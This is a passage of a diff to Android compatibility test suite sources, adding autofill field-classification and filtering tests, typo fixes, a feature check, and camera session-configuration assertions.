+ public void testWifiFeature() throws Exception {
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
// no WiFi, skip the test
return;
@@ -522,6 +522,13 @@
}
}
+ public void testAudioOutputFeature() throws Exception {
+ if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) ||
+ mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
+ assertAvailable(PackageManager.FEATURE_AUDIO_OUTPUT);
+ }
+ }
+
private void assertAvailable(String feature) {
assertTrue("PackageManager#hasSystemFeature should return true for " + feature,
mPackageManager.hasSystemFeature(feature));
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index aab121e..2cae52a 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -28,7 +28,7 @@
<activity android:name=".LoginActivity" >
<intent-filter>
- <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+ <!-- This intent filter is not really needed by CTS, but it makes easier to launch
this app during CTS development... -->
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
@@ -51,7 +51,7 @@
<activity android:name=".FatActivity" />
<activity android:name=".VirtualContainerActivity">
<intent-filter>
- <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+ <!-- This intent filter is not really needed by CTS, but it makes easier to launch
this app during CTS development... -->
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
@@ -70,7 +70,7 @@
<activity android:name=".SimpleSaveActivity"/>
<activity android:name=".PreSimpleSaveActivity">
<intent-filter>
- <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+ <!-- This intent filter is not really needed by CTS, but it makes easier to launch
this app during CTS development... -->
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
@@ -82,7 +82,7 @@
<activity android:name=".AttachedContextActivity"/>
<activity android:name=".DialogLauncherActivity" >
<intent-filter>
- <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+ <!-- This intent filter is not really needed by CTS, but it makes easier to launch
this app during CTS development... -->
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
@@ -97,7 +97,7 @@
<activity android:name=".OnCreateServiceStatusVerifierActivity"/>
<activity android:name=".UsernameOnlyActivity" >
<intent-filter>
- <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+ <!-- This intent filter is not really needed by CTS, but it makes easier to launch
this app during CTS development... -->
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
@@ -105,7 +105,7 @@
</activity>
<activity android:name=".PasswordOnlyActivity" >
<intent-filter>
- <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+ <!-- This intent filter is not really needed by CTS, but it makes easier to launch
this app during CTS development... -->
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 8b13185..e04a2fc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -36,6 +36,7 @@
import androidx.annotation.NonNull;
import com.android.compatibility.common.util.RequiredFeatureRule;
+import com.android.compatibility.common.util.SafeCleanerRule;
import org.junit.Before;
import org.junit.ClassRule;
@@ -70,7 +71,7 @@
* Base class for all test cases that use an {@link AutofillActivityTestRule} to
* launch the activity.
*/
- // Must be public becaue of @ClassRule
+ // Must be public because of @ClassRule
public abstract static class AutoActivityLaunch<A extends AbstractAutoFillActivity>
extends BaseTestCase {
@@ -108,7 +109,7 @@
/**
* Base class for all test cases that don't require an {@link AutofillActivityTestRule}.
*/
- // Must be public becaue of @ClassRule
+ // Must be public because of @ClassRule
public abstract static class ManualActivityLaunch extends BaseTestCase {
@ClassRule
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
index aacd200..5c5e881 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
@@ -22,6 +22,8 @@
import androidx.annotation.NonNull;
+import com.android.compatibility.common.util.SafeCleanerRule;
+
import org.junit.AssumptionViolatedException;
import org.junit.rules.TestRule;
import org.junit.runner.Description;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
index 2c82c7a..c03ba04 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
@@ -88,6 +88,7 @@
private final AutofillId[] mFieldClassificationIds;
private final boolean mFieldClassificationIdsOverflow;
private final SaveInfoDecorator mSaveInfoDecorator;
+ private final UserData mUserData;
private CannedFillResponse(Builder builder) {
mResponseType = builder.mResponseType;
@@ -117,6 +118,7 @@
mFieldClassificationIds = builder.mFieldClassificationIds;
mFieldClassificationIdsOverflow = builder.mFieldClassificationIdsOverflow;
mSaveInfoDecorator = builder.mSaveInfoDecorator;
+ mUserData = builder.mUserData;
}
/**
@@ -239,6 +241,9 @@
if (mFooter != null) {
builder.setFooter(mFooter);
}
+ if (mUserData != null) {
+ builder.setUserData(mUserData);
+ }
return builder.build();
}
@@ -266,6 +271,7 @@
+ ", fieldClassificationIds=" + Arrays.toString(mFieldClassificationIds)
+ ", fieldClassificationIdsOverflow=" + mFieldClassificationIdsOverflow
+ ", saveInfoDecorator=" + mSaveInfoDecorator
+ + ", userData=" + mUserData
+ "]";
}
@@ -304,6 +310,7 @@
private AutofillId[] mFieldClassificationIds;
private boolean mFieldClassificationIdsOverflow;
private SaveInfoDecorator mSaveInfoDecorator;
+ private UserData mUserData;
public Builder(ResponseType type) {
mResponseType = type;
@@ -492,6 +499,17 @@
mSaveInfoDecorator = decorator;
return this;
}
+
+ /**
+ * Sets the package-specific UserData.
+ *
+ * <p>Overrides the default UserData for field classification.
+ */
+ public Builder setUserData(UserData userData) {
+ assertWithMessage("already set").that(mUserData).isNull();
+ mUserData = userData;
+ return this;
+ }
}
/**
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
index 3fa3774..7159783 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
@@ -22,6 +22,7 @@
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.content.IntentSender;
import android.platform.test.annotations.AppModeFull;
+import android.widget.EditText;
import org.junit.AfterClass;
import org.junit.BeforeClass;
@@ -473,4 +474,107 @@
sendKeyEvent("KEYCODE_B");
mUiBot.assertDatasets(regexPlain, authRegex, kitchnSync);
}
+
+ @Test
+ public void testFilter_resetFilter_chooseFirst() throws Exception {
+ resetFilterTest(1);
+ }
+
+ @Test
+ public void testFilter_resetFilter_chooseSecond() throws Exception {
+ resetFilterTest(2);
+ }
+
+ @Test
+ public void testFilter_resetFilter_chooseThird() throws Exception {
+ resetFilterTest(3);
+ }
+
+ private void resetFilterTest(int number) throws Exception {
+ final String aa = "Two A's";
+ final String ab = "A and B";
+ final String b = "Only B";
+
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "aa")
+ .setPresentation(createPresentation(aa))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "ab")
+ .setPresentation(createPresentation(ab))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "b")
+ .setPresentation(createPresentation(b))
+ .build())
+ .build());
+
+ final String chosenOne;
+ switch (number) {
+ case 1:
+ chosenOne = aa;
+ mActivity.expectAutoFill("aa");
+ break;
+ case 2:
+ chosenOne = ab;
+ mActivity.expectAutoFill("ab");
+ break;
+ case 3:
+ chosenOne = b;
+ mActivity.expectAutoFill("b");
+ break;
+ default:
+ throw new IllegalArgumentException("invalid dataset number: " + number);
+ }
+
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText username = mActivity.getUsername();
+
+ // Trigger auto-fill.
+ requestFocusOnUsername();
+ callback.assertUiShownEvent(username);
+
+ sReplier.getNextFillRequest();
+
+ // With no filter text all datasets should be shown
+ mUiBot.assertDatasets(aa, ab, b);
+
+ // Only two datasets start with 'a'
+ changeUsername("a");
+ mUiBot.assertDatasets(aa, ab);
+
+ // One dataset starts with 'aa'
+ changeUsername("aa");
+ mUiBot.assertDatasets(aa);
+
+ // Filter all out
+ changeUsername("aaa");
+ callback.assertUiHiddenEvent(username);
+ mUiBot.assertNoDatasets();
+
+ // Now delete the char and assert aa is showing again
+ changeUsername("aa");
+ callback.assertUiShownEvent(username);
+ mUiBot.assertDatasets(aa);
+
+ // Delete one more and assert two datasets showing
+ changeUsername("a");
+ mUiBot.assertDatasets(aa, ab);
+
+ // Reset back to all choices
+ changeUsername("");
+ mUiBot.assertDatasets(aa, ab, b);
+
+ // select the choice
+ mUiBot.selectDataset(chosenOne);
+ callback.assertUiHiddenEvent(username);
+ mUiBot.assertNoDatasets();
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
index 5f2c86d..b0127ff 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
@@ -23,11 +23,14 @@
import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE;
import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_VALUE_LENGTH;
import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MIN_VALUE_LENGTH;
+import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EDIT_DISTANCE;
+import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EXACT_MATCH;
import static com.google.common.truth.Truth.assertThat;
import android.autofillservice.cts.Helper.FieldClassificationResult;
import android.autofillservice.cts.common.SettingsStateChangerRule;
+import android.os.Bundle;
import android.platform.test.annotations.AppModeFull;
import android.service.autofill.FillEventHistory.Event;
import android.service.autofill.UserData;
@@ -58,7 +61,7 @@
@ClassRule
public static final SettingsStateChangerRule sUserDataMinValueChanger =
- new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MIN_VALUE_LENGTH, "5");
+ new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MIN_VALUE_LENGTH, "4");
@ClassRule
public static final SettingsStateChangerRule sUserDataMaxValueChanger =
@@ -69,10 +72,12 @@
new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT, "42");
private AutofillManager mAfm;
+ private Bundle mLast4Bundle = new Bundle();
@Override
protected void postActivityLaunched() {
mAfm = mActivity.getAutofillManager();
+ mLast4Bundle.putInt("suffix", 4);
}
@Test
@@ -91,7 +96,7 @@
// Check algorithms
final List<String> names = mAfm.getAvailableFieldClassificationAlgorithms();
assertThat(names.size()).isAtLeast(1);
- final String defaultAlgorithm = getDefaultAlgorithm();
+ final String defaultAlgorithm = mAfm.getDefaultFieldClassificationAlgorithm();
assertThat(defaultAlgorithm).isNotEmpty();
assertThat(names).contains(defaultAlgorithm);
@@ -108,10 +113,12 @@
enableService();
mAfm.setUserData(new UserData.Builder("user_data_id", "value", "remote_id")
.build());
+ assertThat(mAfm.getUserData()).isNotNull();
assertThat(mAfm.getUserDataId()).isEqualTo("user_data_id");
final UserData userData = mAfm.getUserData();
assertThat(userData.getId()).isEqualTo("user_data_id");
assertThat(userData.getFieldClassificationAlgorithm()).isNull();
+ assertThat(userData.getFieldClassificationAlgorithms()).isNull();
disableService();
assertThat(mAfm.getUserData()).isNull();
@@ -119,12 +126,21 @@
}
@Test
+ public void testRequiredAlgorithmsAvailable() throws Exception {
+ enableService();
+ final List<String> availableAlgorithms = mAfm.getAvailableFieldClassificationAlgorithms();
+ assertThat(availableAlgorithms).isNotNull();
+ assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EDIT_DISTANCE)).isTrue();
+ assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EXACT_MATCH)).isTrue();
+ }
+
+ @Test
public void testUserDataConstraints() throws Exception {
// NOTE: values set by the SettingsStateChangerRule @Rules should have unique values to
// make sure the getters below are reading the right property.
assertThat(UserData.getMaxFieldClassificationIdsSize()).isEqualTo(10);
assertThat(UserData.getMaxUserDataSize()).isEqualTo(9);
- assertThat(UserData.getMinValueLength()).isEqualTo(5);
+ assertThat(UserData.getMinValueLength()).isEqualTo(4);
assertThat(UserData.getMaxValueLength()).isEqualTo(50);
assertThat(UserData.getMaxCategoryCount()).isEqualTo(42);
}
@@ -147,6 +163,112 @@
simpleHitTest(true, null);
}
+ @Test
+ public void testMiss_exactMatchAlgorithm() throws Exception {
+ enableService();
+
+ // Set expectations.
+ mAfm.setUserData(new UserData
+ .Builder("id", "t 1234", "cat")
+ .setFieldClassificationAlgorithmForCategory("cat",
+ REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+ .build());
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field = mActivity.getCell(1, 1);
+ final AutofillId fieldId = field.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFieldClassificationIds(fieldId)
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ mUiBot.assertNoDatasetsEver();
+ callback.assertUiUnavailableEvent(field);
+
+ // Simulate user input
+ mActivity.setText(1, 1, "t 5678");
+
+ // Finish context.
+ mAfm.commit();
+
+ // Assert results
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+ assertFillEventForFieldsClassification(events.get(0), null);
+ }
+
+ @Test
+ public void testHit_exactMatchLast4Algorithm() throws Exception {
+ enableService();
+
+ // Set expectations.
+ mAfm.setUserData(new UserData
+ .Builder("id", "1234", "cat")
+ .setFieldClassificationAlgorithmForCategory("cat",
+ REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+ .build());
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field = mActivity.getCell(1, 1);
+ final AutofillId fieldId = field.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFieldClassificationIds(fieldId)
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ mUiBot.assertNoDatasetsEver();
+ callback.assertUiUnavailableEvent(field);
+
+ // Simulate user input
+ mActivity.setText(1, 1, "T1234");
+
+ // Finish context.
+ mAfm.commit();
+
+ // Assert results
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+ assertFillEventForFieldsClassification(events.get(0), fieldId, "cat", 1);
+ }
+
+ @Test
+ public void testHit_useDefaultAlgorithm() throws Exception {
+ enableService();
+
+ // Set expectations.
+ mAfm.setUserData(new UserData
+ .Builder("id", "1234", "cat")
+ .setFieldClassificationAlgorithm(REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+ .setFieldClassificationAlgorithmForCategory("dog",
+ REQUIRED_ALGORITHM_EDIT_DISTANCE, null)
+ .build());
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field = mActivity.getCell(1, 1);
+ final AutofillId fieldId = field.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFieldClassificationIds(fieldId)
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ mUiBot.assertNoDatasetsEver();
+ callback.assertUiUnavailableEvent(field);
+
+ // Simulate user input
+ mActivity.setText(1, 1, "T1234");
+
+ // Finish context.
+ mAfm.commit();
+
+ // Assert results
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+ assertFillEventForFieldsClassification(events.get(0), fieldId, "cat", 1);
+ }
+
private void simpleHitTest(boolean setAlgorithm, String algorithm) throws Exception {
// Set service.
enableService();
@@ -366,6 +488,59 @@
}
@Test
+ public void testHit_manyUserData_manyDetectableFields_differentClassificationAlgo()
+ throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ mAfm.setUserData(new UserData.Builder("id", "1234", "myId")
+ .add("ZZZZZZZZZZ", "totalMiss") // should not have matched any
+ .add("EMPTY", "otherId")
+ .setFieldClassificationAlgorithmForCategory("myId",
+ REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+ .setFieldClassificationAlgorithmForCategory("otherId",
+ REQUIRED_ALGORITHM_EDIT_DISTANCE, null)
+ .build());
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field1 = mActivity.getCell(1, 1);
+ final AutofillId fieldId1 = field1.getAutofillId();
+ final EditText field2 = mActivity.getCell(1, 2);
+ final AutofillId fieldId2 = field2.getAutofillId();
+ final EditText field3 = mActivity.getCell(2, 1);
+ final AutofillId fieldId3 = field3.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFieldClassificationIds(fieldId1, fieldId2)
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ mUiBot.assertNoDatasetsEver();
+ callback.assertUiUnavailableEvent(field1);
+
+ // Simulate user input
+ mActivity.setText(1, 1, "E1234"); // u1: 100% u2: 20%
+ mActivity.setText(1, 2, "empty"); // u1: 0% u2: 100%
+ mActivity.setText(2, 1, "fULLy"); // u1: 0% u2: 20%
+
+ // Finish context.
+ mAfm.commit();
+
+ // Assert results
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+ assertFillEventForFieldsClassification(events.get(0),
+ new FieldClassificationResult[] {
+ new FieldClassificationResult(fieldId1, new String[] { "myId", "otherId" },
+ new float[] { 1.0F, 0.2F }),
+ new FieldClassificationResult(fieldId2, new String[] { "otherId" },
+ new float[] { 1.0F }),
+ new FieldClassificationResult(fieldId3, new String[] { "otherId" },
+ new float[] { 0.2F })});
+ }
+
+ @Test
public void testHit_manyUserDataPerField_manyDetectableFields() throws Exception {
// Set service.
enableService();
@@ -481,8 +656,61 @@
assertFillEventForContextCommitted(events.get(0));
}
- private String getDefaultAlgorithm() {
- return mAfm.getDefaultFieldClassificationAlgorithm();
+ @Test
+ public void testHit_usePackageUserData() throws Exception {
+ enableService();
+
+ // Set expectations.
+ mAfm.setUserData(new UserData
+ .Builder("id", "TEST1", "cat")
+ .setFieldClassificationAlgorithm(null, null)
+ .build());
+
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field = mActivity.getCell(1, 1);
+ final AutofillId fieldId = field.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFieldClassificationIds(fieldId)
+ .setUserData(new UserData.Builder("id2", "TEST2", "cat")
+ .setFieldClassificationAlgorithm(null, null)
+ .build())
+ .build())
+ .addResponse(new CannedFillResponse.Builder()
+ .setFieldClassificationIds(fieldId)
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ mUiBot.assertNoDatasetsEver();
+ callback.assertUiUnavailableEvent(field);
+
+ // Simulate user input
+ mActivity.setText(1, 1, "test1");
+
+ // Finish context
+ mAfm.commit();
+
+ final Event packageUserDataEvent = InstrumentedAutoFillService.getFillEvents(1).get(0);
+ assertFillEventForFieldsClassification(packageUserDataEvent, fieldId, "cat", 0.8F);
+
+ // Need to switch focus first
+ mActivity.focusCell(1, 2);
+
+ // Trigger second autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ mUiBot.assertNoDatasetsEver();
+ callback.assertUiUnavailableEvent(field);
+
+ // Finish context.
+ mAfm.commit();
+
+ // Assert results
+ final Event defaultUserDataEvent = InstrumentedAutoFillService.getFillEvents(1).get(0);
+ assertFillEventForFieldsClassification(defaultUserDataEvent, fieldId, "cat", 1.0F);
}
/*
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
index 70d7471..f0b7bad 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
@@ -56,6 +56,7 @@
@Mock private RemoteViews mHeader;
@Mock private RemoteViews mFooter;
@Mock private IntentSender mIntentSender;
+ private final UserData mUserData = new UserData.Builder("id", "value", "cat").build();
@Test
public void testBuilder_setAuthentication_invalid() {
@@ -109,6 +110,19 @@
}
@Test
+ public void testBuilder_setUserDataInvalid() {
+ assertThrows(NullPointerException.class, () -> new FillResponse.Builder()
+ .setUserData(null));
+ }
+
+ @Test
+ public void testBuilder_setUserDataAfterAuthentication() {
+ FillResponse.Builder builder =
+ new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+ assertThrows(IllegalStateException.class, () -> builder.setUserData(mUserData));
+ }
+
+ @Test
public void testBuilder_setFlag_invalid() {
assertThrows(IllegalArgumentException.class, () -> mBuilder.setFlags(-1));
}
@@ -244,5 +258,6 @@
() -> mBuilder.setFieldClassificationIds(mAutofillId));
assertThrows(IllegalStateException.class, () -> mBuilder.setHeader(mHeader));
assertThrows(IllegalStateException.class, () -> mBuilder.setFooter(mFooter));
+ assertThrows(IllegalStateException.class, () -> mBuilder.setUserData(mUserData));
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index e75402c..2e3d308 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -34,8 +34,11 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
+import android.app.ActivityManager;
+import android.content.Context;
import android.app.PendingIntent;
import android.app.assist.AssistStructure;
import android.content.Intent;
@@ -148,6 +151,9 @@
@Test
public void testDatasetAuthResponseWhileAutofilledAppIsLifecycled() throws Exception {
assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
+ final ActivityManager activityManager = (ActivityManager) getContext()
+ .getSystemService(Context.ACTIVITY_SERVICE);
+ assumeFalse(activityManager.isLowRamDevice());
// Set service.
enableService();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
index 57fb905..95845f7 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
@@ -148,11 +148,33 @@
}
@Test
+ public void testSetFcAlgorithmForCategory_invalid() {
+ assertThrows(NullPointerException.class, () -> mBuilder
+ .setFieldClassificationAlgorithmForCategory(null, "algo_mas", null));
+ }
+
+ @Test
+ public void testSetFcAlgorithmForCateogry() {
+ final UserData userData = mBuilder.setFieldClassificationAlgorithmForCategory(
+ mCategoryId, "algo_mas", null).build();
+ assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId)).isEqualTo(
+ "algo_mas");
+ }
+
+ @Test
public void testBuild_valid() {
final UserData userData = mBuilder.build();
assertThat(userData).isNotNull();
assertThat(userData.getId()).isEqualTo(mId);
- assertThat(userData.getFieldClassificationAlgorithm()).isNull();
+ assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId)).isNull();
+ }
+
+ @Test
+ public void testGetFcAlgorithmForCategory_invalid() {
+ final UserData userData = mBuilder.setFieldClassificationAlgorithm("algo_mas", null)
+ .build();
+ assertThrows(NullPointerException.class, () -> userData
+ .getFieldClassificationAlgorithmForCategory(null));
}
@Test
@@ -161,7 +183,8 @@
assertThrows(IllegalStateException.class, () -> mBuilder.add(mValue, mCategoryId2));
assertThrows(IllegalStateException.class,
- () -> mBuilder.setFieldClassificationAlgorithm("algo_mas", null));
+ () -> mBuilder.setFieldClassificationAlgorithmForCategory(mCategoryId,
+ "algo_mas", null));
assertThrows(IllegalStateException.class, () -> mBuilder.build());
}
}
diff --git a/tests/camera/libctscamera2jni/Android.mk b/tests/camera/libctscamera2jni/Android.mk
index 2cd4f64..7d71676 100644
--- a/tests/camera/libctscamera2jni/Android.mk
+++ b/tests/camera/libctscamera2jni/Android.mk
@@ -47,4 +47,7 @@
LOCAL_SDK_VERSION := current
LOCAL_NDK_STL_VARIANT := c++_shared
+# Remove when libjpeg_static_ndk is XOM compatible.
+LOCAL_XOM := false
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index c00595c..80b6f5b 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -696,6 +696,8 @@
}
} else {
surfaceSharedOutput.addSurface(surfaces[i]);
+ assertTrue("Session configuration should not fail",
+ isSessionConfigurationSupported(cameraId, outputConfigurations));
updateOutputConfiguration(cameraId, surfaceSharedOutput);
sequenceId = updateRepeatingRequest(cameraId, outputConfigurations, resultListener);
@@ -713,7 +715,8 @@
}
} else {
surfaceSharedOutput.removeSurface(surfaces[i]);
-
+ assertTrue("Session configuration should not fail",
+ isSessionConfigurationSupported(cameraId, outputConfigurations));
}
}
//Remove all previously added shared outputs in one call
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 7340658..e98229d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -24,6 +24,7 @@
import android.hardware.camera2.CaptureResult;
import android.hardware.camera2.cts.helpers.StaticMetadata;
import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.SessionConfiguration;
import android.hardware.camera2.params.StreamConfigurationMap;
import android.util.Size;
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
@@ -840,6 +841,10 @@
requestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, fpsRange);
requestBuilder.addTarget(mPreviewSurface);
CaptureRequest initialRequest = requestBuilder.build();
+ assertTrue("Constrained session configuration query failed",
+ CameraTestUtils.checkSessionConfigurationWithSurfaces(mCamera, mHandler,
+ outputSurfaces, /*inputConfig*/ null, SessionConfiguration.SESSION_HIGH_SPEED,
+ /*expectedResult*/ true));
mSession = buildConstrainedCameraSession(mCamera, outputSurfaces, mSessionListener,
mHandler, initialRequest);
slowMoRequests = ((CameraConstrainedHighSpeedCaptureSession) mSession).
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index b0c2d7b..af1b555 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -35,6 +35,7 @@
import android.hardware.camera2.params.InputConfiguration;
import android.hardware.camera2.params.OisSample;
import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.SessionConfiguration;
import android.hardware.camera2.params.StreamConfigurationMap;
import android.media.CamcorderProfile;
import android.media.Image;
@@ -1908,6 +1909,11 @@
inputReader.setOnImageAvailableListener(inputReaderListener, mHandler);
outputSurfaces.add(inputReader.getSurface());
+ assertTrue(String.format("Session configuration query %s failed",
+ MaxStreamSizes.reprocessConfigToString(reprocessConfig)),
+ checkSessionConfigurationWithSurfaces(mCamera, mHandler, outputSurfaces,
+ inputConfig, SessionConfiguration.SESSION_REGULAR, /*expectedResult*/ true));
+
// Verify we can create a reprocessable session with the input and all outputs.
BlockingSessionCallback sessionListener = new BlockingSessionCallback();
CameraCaptureSession session = configureReprocessableCameraSession(mCamera,
@@ -2070,6 +2076,11 @@
CameraCaptureSession.CaptureCallback mockCaptureCallback =
mock(CameraCaptureSession.CaptureCallback.class);
+ assertTrue(String.format("Session configuration query %s failed",
+ MaxStreamSizes.configToString(config)), checkSessionConfiguration(mCamera,
+ mHandler, outputConfigs, /*inputConfig*/ null,
+ SessionConfiguration.SESSION_REGULAR, /*expectedResult*/ true));
+
createSessionByConfigs(outputConfigs);
haveSession = true;
CaptureRequest request = requestBuilder.build();
@@ -2182,6 +2193,12 @@
CameraCaptureSession.CaptureCallback mockCaptureCallback =
mock(CameraCaptureSession.CaptureCallback.class);
+ assertTrue(String.format("Session configuration query %s failed",
+ MaxStreamSizes.configToString(config)),
+ checkSessionConfiguration(mCamera, mHandler, outputConfigs,
+ /*inputConfig*/ null, SessionConfiguration.SESSION_REGULAR,
+ /*expectedResult*/ true));
+
createSessionByConfigs(outputConfigs);
haveSession = true;
CaptureRequest request = requestBuilder.build();
diff --git a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
index 601ca03..d59cf7d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
